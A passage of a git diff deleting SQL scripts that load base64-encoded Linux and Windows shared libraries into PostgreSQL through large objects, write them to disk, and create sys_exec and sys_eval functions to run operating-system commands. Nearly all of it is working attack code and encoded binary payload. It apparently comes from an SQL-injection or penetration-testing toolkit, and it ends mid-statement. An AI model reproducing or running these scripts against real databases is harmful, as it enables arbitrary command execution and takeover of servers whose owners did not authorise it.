data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAQAAANEAAAAMAAAA+AUAAA0AAAC4CQAABAAAANQAAAD1/v9viAEAAAUAAAB0AwAABgAAANQBAAAKAAAAHQEAAAsAAAAQAAAAAwAAAPQfAAACAAAAEAAAABQAAAARAAAAFwAAAOgFAAARAAAAGAUAABIAAADQAAAAEwAAAAgAAAAWAAAAAAAAAP7//2/IBAAA////bwEAAADw//9vkgQAAPr//28FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgfAAAAAAAAAAAAAD4GAABOBgAACCAAAA'; --- UPDATE udftest SET data=data||'BHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAEdDQzogKFVidW50dSA0LjMuMi0xdWJ1bnR1MTIpIDQuMy4yAABHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAC5zaHN0cnRhYgAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAuaW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZQAuY3RvcnMALmR0b3JzAC5qY3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAFAAAAAgAAANQAAADUAAAAtAAAAAMAAAAAAAAABAAAAAQAAAALAAAA9v//bwIAAACIAQAAiAEAAEwAAAADAAAAAAAAAAQAAAAEAAAAFQAAAAsAAAACAAAA1AEAANQBAACgAQAABAAAAAEAAAAEAAAAEAAAAB0AAAADAAAAAgAAAHQDAAB0AwAAHQEAAAAAAAAAAAAAAQAAAAAAAAAlAAAA////bwIAAACSBAAAkgQAADQAAAADAAAAAAAAAAIAAAACAAAAMgAAAP7//28CAAAAyAQAAMgEAABQAAAABAAAAAEAAAAEAAAAAAAAAEEAAAAJAAAAAgAAABgFAAAYBQAA0AAAAAMAAAAAAAAABAAAAAg'; --- UPDATE udftest SET data=data||'AAABKAAAACQAAAAIAAADoBQAA6AUAABAAAAADAAAACgAAAAQAAAAIAAAAUwAAAAEAAAAGAAAA+AUAAPgFAAAwAAAAAAAAAAAAAAAEAAAAAAAAAE4AAAABAAAABgAAACgGAAAoBgAAMAAAAAAAAAAAAAAABAAAAAQAAABZAAAAAQAAAAYAAABgBgAAYAYAAFgDAAAAAAAAAAAAABAAAAAAAAAAXwAAAAEAAAAGAAAAuAkAALgJAAAcAAAAAAAAAAAAAAAEAAAAAAAAAGUAAAABAAAAAgAAANQJAADUCQAAIAAAAAAAAAAAAAAABAAAAAAAAABtAAAAAQAAAAIAAAD0CQAA9AkAAAQAAAAAAAAAAAAAAAQAAAAAAAAAdwAAAAEAAAADAAAABB8AAAQPAAAIAAAAAAAAAAAAAAAEAAAAAAAAAH4AAAABAAAAAwAAAAwfAAAMDwAACAAAAAAAAAAAAAAABAAAAAAAAACFAAAAAQAAAAMAAAAUHwAAFA8AAAQAAAAAAAAAAAAAAAQAAAAAAAAAigAAAAYAAAADAAAAGB8AABgPAADQAAAABAAAAAAAAAAEAAAACAAAAJMAAAABAAAAAwAAAOgfAADoDwAADAAAAAAAAAAAAAAABAAAAAQAAACYAAAAAQAAAAMAAAD0HwAA9A8AABQAAAAAAAAAAAAAAAQAAAAEAAAAoQAAAAEAAAADAAAACCAAAAgQAAAEAAAAAAAAAAAAAAAEAAAAAAAAAKcAAAAIAAAAAwAAAAwgAAAMEAAACAAAAAAAAAAAAAAABAAAAAAAAACsAAAAAQAAAAAAAAAAAAAADBAAALkAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAMAAAAAAAAAAAAAAMUQAAC1AAAAAAAAAAAAAAABAAAAAAAAAA=='; - - --- Create a new OID for a large object, it implicitly adds an entry in the --- PostgreSQL large objects system table --- --- References: --- http://www.postgresql.org/docs/8.3/interactive/largeobjects.html --- http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html -SELECT lo_unlink(35817); -SELECT lo_create(35817); - - --- Update the PostgreSQL system large objects table assigning to the just --- created OID the binary (base64 decoded) UDF as data --- --- Refereces: --- http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql -UPDATE pg_largeobject SET data=(DECODE((SELECT data FROM udftest), 'base64')) WHERE loid=35817; - - --- Export the binary UDF OID to a file on the file system --- --- Any folder where postgres user has read/write/execute access is valid -SELECT lo_export(35817, '/tmp/lib_postgresqludf_sys.so'); -- -rw-r--r-- 1 postgres postgres --- --- Notes: --- If the library file already exists and the postgres user has write --- access over it, it can overwrite the file --- The following enumerates the PostgreSQL data directory --- SELECT CURRENT_SETTING('data_directory') --- Reference: --- http://www.postgresql.org/docs/8.3/interactive/functions-admin.html --- The following will save into /var/lib/postgresql/M.m/main/lib_postgresqludf_sys.so --- SELECT lo_export(35817, 'lib_postgresqludf_sys.so'); -- -rw-r--r-- 1 postgres postgres --- The following would save into / (Permission denied) --- SELECT lo_export(35817, '/lib_postgresqludf_sys.so'); - - --- Create two functions from the binary UDF file -CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; -CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; - - --- Test the two functions -SELECT sys_exec('echo test > /tmp/lib_postgresqludf_sys.txt'); -- -rw------- 1 postgres postgres -SELECT sys_eval('cat /tmp/lib_postgresqludf_sys.txt ; id'); - - --- Cleanup the file system and the database -SELECT sys_exec('rm -f /tmp/lib_postgresqludf_sys.*'); -DROP TABLE IF EXISTS udftest; -DROP FUNCTION IF EXISTS sys_exec(text); -DROP FUNCTION IF EXISTS sys_eval(text); diff --git a/extra/postgresqludfsys/command_execution/windows.sql b/extra/postgresqludfsys/command_execution/windows.sql deleted file mode 100644 index 5500864a5..000000000 --- a/extra/postgresqludfsys/command_execution/windows.sql +++ /dev/null @@ -1,104 +0,0 @@ --- Notes: --- --- The DLL compiled using PostgreSQL 8.3 C libraries differs from the one --- compiled using PostgreSQL 8.2 C libraries --- --- DLL compiled using PostgreSQL 8.3 C libraries --- lib_postgresqludf_sys.dll: 8192 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit) --- lib_postgresqludf_sys.dll: 6144 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit, UPX compressed) --- --- DLL compiled using PostgreSQL 8.2 C libraries --- lib_postgresqludf_sys.dll: 8192 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit) --- lib_postgresqludf_sys.dll: 6144 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit, UPX compressed) --- --- Little hack to compress the dynamic-linked library: --- * Read instructions on http://rpbouman.blogspot.com/2007/09/creating-mysql-udfs-with-microsoft.html --- * Remember to compile it under Visual C++ 2008 with the --- 'Configuration' set as 'Release' --- * Use upx (http://upx.sourceforge.net) over the DLL: --- * upx -9 library.dll -o library_upx.dll - - --- Create a table with one field data-type text -DROP TABLE IF EXISTS udftest; -CREATE TABLE udftest(data text); - - --- Insert the base64 encoded UDF in the table - --- DLL compiled using PostgreSQL 8.3 C libraries -INSERT INTO udftest(data) VALUES ('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAD12MHTsbmvgLG5r4Cxua+AuME8gLO5r4C4wTqAsLmvgLjBLIC/ua+AuMErgLO5r4CWf9SAtLmvgLG5roCYua+AuMEmgLC5r4C4wT2AsLmvgLjBPoCwua+AUmljaLG5r4AAAAAAAAAAAFBFAABMAQMA+iGDSQAAAAAAAAAA4AACIQsBCQAAEAAAABAAAABgAAAgewAAAHAAAACAAAAAAAAQABAAAAACAAAFAAAAAAAAAAUAAAAAAAAAAJAAAAAQAAAAAAAAAgBAAQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAKyDAAC4AAAAtIIAAPgAAAAAgAAAtAIAAAAAAAAAAAAAAAAAAAAAAABkhAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7HwAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVBYMAAAAAAAYAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA4FVQWDEAAAAAABAAAABwAAAADgAAAAQAAAAAAAAAAAAAAAAAAEAAAOAucnNyYwAAAAAQAAAAgAAAAAYAAAASAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); -UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMy4wMwBVUFghDQkCCcR4kqVtpBAFE1UAABYLAAAAIAAAJgAAnUB2Sf64AAAQ+MPMDxEM/9/+f1NVi2wkDItFEFZXUOgbAeaL2Iszwe4Cg+4Ef/ff/Y1OAVH/FT+MVo1TBIv4UlcgCpBXxgQ3APd/7GMXhFeL8AiUg8QcO10QdAlTQkDO/tvsDQRfi8ZeXVvDbxC6/7Z9gewIBBKhAiAAM8SJhCQEDYtvsvbZBgxAEI2GLXi8fcBudIs3jNVWg8eI2FdTbXfZjmoBiTPVaGIUU4q79tvYM/+MiCBTjVQkOBZTUon/9m3sXCQ8FnyVLIXAdMpEJBSNUAGKG2tv/whAhMl1+SvCLY0sO3YjeETdH/tuUx8gUAP+VxCAi0wkJFFNLO3lsCeL/UsgdbSLXP67sbMQqFMXkPmAPgB0BcZEN/+69gPbz8Zng8AEUKvQxj6Ze+ckGI2kJAAAH40EhRDH/oXtD4kHNlCNTwRWUe+LjLD5gmuZhF0Mi8dfM8zWXTj8KfKBxFFi/yWBqAX92z88pDsNYHUC88PpCAWvi/9WaIAXYmXMXORw7a5ZWd3/f5ejI1gEVIX2dQUzwEBew4MmAFYHtit83X1oBKcJZnKpBrkLe6O1NlkjIk407FFRCv8Ku385RQx1DjkFaxB+ZXMQg30Mu4XG3QGLCRBIiw3MiQojSC3stu4PhdR9ZBcYBot5wjW7dnfbICiJPVC7HlDrGEqnBHJw'; -UPDATE udftest SET data=data||'4cH+O8d0F2joA6gsagDp/9bwrtveaOfrB8csATyhL0xqAl797d7dyQlqH5IJJus8qhDABLjHBbOufe8fKBog4CcHXOP9+75vILQEsBsaWYk1KzR3f+52WTmydQhpczA5PRVcdBxW+tu9aAYoCFxDDf91IAPDF9veCCMW//FUbAHsjzU33AgBodt4BINl/ADfJBPZ2dsP1PxvbLD2g/gCZtJZW/+gvBm2sVhLUDFZLjUPhIfXHO07xxlUE00UGNjGt38QiX0Ig+8EO8hyUYM/f/NqmG3tt5wHdOn/NyYg+BBmbbbQXLn4VhVE1rjj9htHTfhVOU0QA9C7bVv7CHS0iQkCDBoIYOun9ogxO2kM5FlELoXtK8Q4WAZMMvw//g1HkFBDm1vJwgwAahBzf3sbQxIo0MT5i/KLXQgcVOFld3vkM8lc/Il9IAj8O/FaP7YWYzk6RBfkr2g728Kb//B0BYP+AnUuoew7wXSeVl/QzizccDte5AADkxFO9uB2WgJQFBaAEgkyzloN/yf+AXUkZCBOE1fXEJsVdy9S0gYRDftrtFP3agN1Q09hhz3bNAMhaHQuLCV/8bZw4esbceyLFwmq4FBRtMKl8mQsEGXo9i/brm04+tL+/wAZBYEq5KSuPX4hncOW7Bb/O3B8hdMkahvWVDO8u1V9RFUMDQR2WV04ItpQLhAnKANfISBzc/NmQwUciRUYiR0UiTU023dzEIk9DGaMGDgGDSyzNEuzHQgFBCWsfXdLAC1//JyPFDCVVvbPn20kBwQojUUINIuF4Pygrp2NsapwlQEcGWNs69ggJBMYCWXACRyzls/dNWCJhdgyCgTcKvCNYQMUNGidBqcz/rRsWWr3GHkt77D2fRyDPSAA+SNoW9NjBWIbegYkycOAkY8L30Aecl9qFEpQ9FhISRWq+KLG4fefnBBkWetnagg3hFmP7dYdkhsnNVk04PXzHW6FvwPkUH9LdIytbT9gCn4c3BQs1uK0VypbCeAb0jpnk+Ul2wdd3Gx4/u/c'; -UPDATE udftest SET data=data||'hFnZThYGwffYG8D32FlIXX/p221WuLwYvgRXUDvGcw+LB/QOGh1TAlDNO/5y8SnkOawwJSAg7RsxEz9lMQi4TVoql39X+mY5AXQEVGRBPAPBgThQRXXviRv8+zPSuQsBHEgYD5Tfwl1+35qGLT/ZSDHID7dBDbbbEjhWBXEGM1f4b43G0ggYDXbgnBwMO/nab/D/cgmLWAgD2Tv7cgpCvCg71nLoag+H7JnbTk9q/p9w8wUcm2i1ZA7+UIPsCN1wawwlMWIzxWzwZKMLn6H0GoksSAloS/CuMzEGbMwS61WXNMvDvi0TUBkIDAg7QbjwWxskwegf9wvgAYW77dQKA08ZAFmUi+Xr2E5qlpkByj2lwPqyFuwUmS+7MSNjJ7EzPAVARPlxSSNMpRKsEOw7uQ5jCWEQxab7CwOPWe9W+TbLNttSkGwDjSvg+lgDzZn88Tyq/Ipgk2Agcw3DlQ4O42yWUUoUdT50uxnaaQH2BCAUCopW7PdYGFij7BBofjQH/8j4U1e/TuZAu3pmU6HEHXgNhcMnNZBiUmvxBOtg+3hfC8VaW4F1mJILh/DmyiBjBzQInSf9re1oGPQzDBE793UHvk8IfBffWesLhfN1o8HgEAvwxCOUPvYA99YHBF5fW7Y/mCMjI2MFnFhcYAKyIyNoVAAAlAp5AAIFALPsPmqpwRQRIwNkaAZpugNAAXJI/36JMn1REhBLUlNEU/9///9ie5Q0/rQnQb7gu040vsrDF0M6XERvY3VtZW50/9v//3MgYW5kIFNldHRpbmdzXEFkbQdpc3RyYXRvci63t/b/VzJLM1NURU5VUERBBjNlc2sWcFzt/9/+c2hhcmVcdiZ1YWxfY3BwX3Byb2plY3Q+2/+2/GxpYl9wb2cfc3FsdWRmX3N5FVLDfoH9ZWxlYXNlHS5wZGLRfC8WyLUZlwfQYF0lmw/HhQdOyWHdUQNlJ8wHYXQn7MAP2B8I6wP/IAABSfBBqSDKIiIBZt8NsRm/RP8Ag1EGjKpgApIYBVBU'; -UPDATE udftest SET data=data||'gC0oFP8vzxR4EAFHZXRDdXJyZW50//+R/1Byb2Nlc3NJZFN5c3RlbVRpbWVBc0ZpbGWt/RZ7CRgIY2tDb3UvDYu1v/1RdWVyeVADZm9ybWFuPBYO/Vv3WxhEaXNhYjNoV2FkTGlicmFW/m+/J0NhbGxzb0lzRGVidWdnZXJt2/ayuXZUU1VuaEBkMWRhMffbRXhGcHRpb25zShmgbSlbuRJUF99kbQlEYR4RSZBsc9utbQxrQJ1tcIdlR1GEteaaf3dVUSLCbNmyG1zEFXd7moUzhTxfY2l0NG3fDVhtCl80X2Ftc2cIeO9+4a8RC2RqdUJfZmRpdg1fQ3BwQPvD2lhjv7xfZGVjbwNtYcISlGkyXW0e1t4ruHkYQosy9QlMFizYbk0TD2Xt9gkjDV8bcjRfTG1tHGbX/n0YbldkX251PURtYdzCxrZjHnI0bnPY3Qzb9h0IZvJ0LK5ybrnbO4yEc/zdKnBlVeYK7ZtFD2MHtDA6twnOve9WyM6Lb29D+9ZitiJWbl90eTkctlBoDRqJFYpfcnuahS0KbEaRpHBFuODePXBnQ3RvYXNLunVt///PAlYQMBgJHxYjKgsXJBEXEQeCBgb2////FwkHBRYMHggKCxYJGBgVBQYbBQwQBgcXBiEFEQ++/2//BhQhEQsIKyIFBw0RHQ0YUy1IOAYAB9u+XU4IDAkzCgkLDFsFFr/922UWDgs0FQsYFg09BUK4BRIeFGub/90GaTIRDA4dTQUXIw0MJAgkAFPB/x/wJgY0BGAE6AgEHBwEAFL5D6t/TAEFAPohg0k04AACIQsBCcDsN2kMWwCQFQsz971HGgkLAt4e36X5ZgcDYATbzx5Ae7bsvQEqAgcGcCYHs33LZriMIlAUQE+wNdubMgBQn3fQHGWxA1nVGCFCAJsfSLovsC50ZXh0mgoestlgkAy3QmAucgmD3BrLYfsoBwgTfa85bAJALib+A23KTtOUMAInwE/7XrDGc3KA67BzGk9ujkYAUqlPjAFvSgZpUB5C'; -UPDATE udftest SET data=data||'GwDgk9uMIxKhUlMAAAAAAAAAAACQ/wAAAAAAAAAAAACAfCQIAQ+FuQEAAGC+AHAAEI2+AKD//1eDzf/rDZCQkIoGRogHRwHbdQeLHoPu/BHbcu24AQAAAAHbdQeLHoPu/BHbEcAB23PvdQmLHoPu/BHbc+QxyYPoA3INweAIigZGg/D/dHSJxQHbdQeLHoPu/BHbEckB23UHix6D7vwR2xHJdSBBAdt1B4seg+78EdsRyQHbc+91CYseg+78Edtz5IPBAoH9APP//4PRAY0UL4P9/HYPigJCiAdHSXX36WP///+QiwKDwgSJB4PHBIPpBHfxAc/pTP///16J97ktAAAAigdHLOg8AXf3gD8AdfKLB4pfBGbB6AjBwBCGxCn4gOvoAfCJB4PHBYjY4tmNvgBQAACLBwnAdDyLXwSNhDC0cgAAAfNQg8cI/5YEcwAAlYoHRwjAdNyJ+VdI8q5V/5YIcwAACcB0B4kDg8ME6+FhMcDCDACDxwSNXvwxwIoHRwnAdCI873cRAcOLA4bEwcAQhsQB8IkD6+IkD8HgEGaLB4PHAuvii64McwAAjb4A8P//uwAQAABQVGoEU1f/1Y2HBwIAAIAgf4BgKH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOmnmP//AAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAEBAiABABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; -UPDATE udftest SET data=data||'AAAAAAAAAAAEAAAAAAABABgAAAAYAACAAAAAAAAAAAAEAAAAAAABAAIAAAAwAACAAAAAAAAAAAAEAAAAAAABAAkEAABIAAAAXIAAAFYCAADkBAAAAAAAAFhAAAA8YXNzZW1ibHkgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxIiBtYW5pZmVzdFZlcnNpb249IjEuMCI+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSI+PC9yZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbD4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCiAgPGRlcGVuZGVuY3k+DQogICAgPGRlcGVuZGVudEFzc2VtYmx5Pg0KICAgICAgPGFzc2VtYmx5SWRlbnRpdHkgdHlwZT0id2luMzIiIG5hbWU9Ik1pY3Jvc29mdC5WQzkwLkNSVCIgdmVyc2lvbj0iOS4wLjIxMDIyLjgiIHByb2Nlc3NvckFyY2hpdGVjdHVyZT0ieDg2IiBwdWJsaWNLZXlUb2tlbj0iMWZjOGIzYjlhMWUxOGUzYiI+PC9hc3NlbWJseUlkZW50aXR5Pg0KICAgIDwvZGVwZW5kZW50QXNzZW1ibHk+DQogIDwvZGVwZW5kZW5jeT4NCjwvYXNzZW1ibHk+UEEAAAAAAAAAAAAAAAAsgwAABIMAAAAAAAAAAAAAAAAAADmDAAAcgwAAAAAAAAAAAAAAAAAARYMAACSDAAAAAAAAAAAAAAAAAAAAAAAA'; -UPDATE udftest SET data=data||'AAAAAFKDAABggwAAcIMAAICDAACOgwAAAAAAAJyDAAAAAAAAooMAAAAAAABLRVJORUwzMi5ETEwATVNWQ1I5MC5kbGwAcG9zdGdyZXMuZXhlAAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAAVmlydHVhbFByb3RlY3QAAFZpcnR1YWxBbGxvYwAAVmlydHVhbEZyZWUAAABmcmVlAABwZnJlZQAAAAAAAAD5IYNJAAAAAAaEAAABAAAABQAAAAUAAADUgwAA6IMAAPyDAAAAEAAAgBAAABAQAACQEAAAIBAAACCEAAAuhAAAQIQAAFKEAABbhAAAAAABAAIAAwAEAGxpYl9wb3N0Z3Jlc3FsdWRmX3N5cy5kbGwAUGdfbWFnaWNfZnVuYwBwZ19maW5mb19zeXNfZXZhbABwZ19maW5mb19zeXNfZXhlYwBzeXNfZXZhbABzeXNfZXhlYwAAcAAAEAAAAC07KD0sPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; - --- DLL compiled using PostgreSQL 8.2 C libraries --- INSERT INTO udftest(data) VALUES ('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAD12MHTsbmvgLG5r4Cxua+AuME8gLO5r4C4wTqAsLmvgLjBLIC/ua+AuMErgLO5r4CWf9SAtLmvgLG5roCYua+AuMEmgLC5r4C4wT2AsLmvgLjBPoCwua+AUmljaLG5r4AAAAAAAAAAAFBFAABMAQMAUx6DSQAAAAAAAAAA4AACIQsBCQAAEAAAABAAAABgAAAgewAAAHAAAACAAAAAAAAQABAAAAACAAAFAAAAAAAAAAUAAAAAAAAAAJAAAAAQAAAAAAAAAgBAAQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAKyDAAC4AAAAtIIAAPgAAAAAgAAAtAIAAAAAAAAAAAAAAAAAAAAAAABkhAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7HwAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVBYMAAAAAAAYAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA4FVQWDEAAAAAABAAAABwAAAADgAAAAQAAAAAAAAAAAAAAAAAAEAAAOAucnNyYwAAAAAQAAAAgAAAAAYAAAASAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); --- UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMy4wMwBVUFghDQkCCXeP6gEDsfuvE1UAABwLAAAAIAAAJgAAXkB2Sf64AAAQ+MPMDxEM+9/+f1NVi2wkDItFEFZXUOgbAgKL2Iszgeb/AN1/938/g+4EjU4BUf8VQoxWjVMEi/hSVyMK/7GP/bBXxgQ3ABeEV4vwCJSDxBw7XRB0W/Zv3wlTRQgNBF+Lxl5dW2p/bfllLxDDEoHsCAShAu2zdf8gADPEiYQkBA2LBgxAEJ2F3d5kli2FgYs3nLIdefvVVoPHmNhXU2oBmTO3sdvu1WhlFFOaM/+ciCBTjdvYd+1UJDgWVlKJXCQ8FnylLLf///+FwHRbjUQkFI1QAesDjUkAighAhMl1+SvCMo0sfbeNtTt+KHhJUyQgUAP+V9iT7o8QgItMJCRRUiyL/VDY2fZyIHWvi2EQsFMXXzh8w5AOgD4AdAQ3FsZEN/+u/bK7AHCNZCRvg8AEULjggbnyucYsHKQAH/Ync+2JBxwZElCNRwRWUPjNF1w7i4ydiHYMi8dfM+7C4YfMNQ6BxF1u/yWF3/7hsagFpDsNbHUC88PpCAXLi/8QK2PuVmiAaOhw8f7/u7zHWVmjI1gEVIX2dQUzwEBew4MmAF3h6+5WB5loBMMJgnulBhuttbHVC1kjIk5Q7FfY/dtRUQo5RQx1DjkFaxB+bnMtNO7+EIN9DAGLCRBIiybYiWG3dd8KI0gPhdR9ZBcYBot5y7W72241ICiJ'; --- UPDATE udftest SET 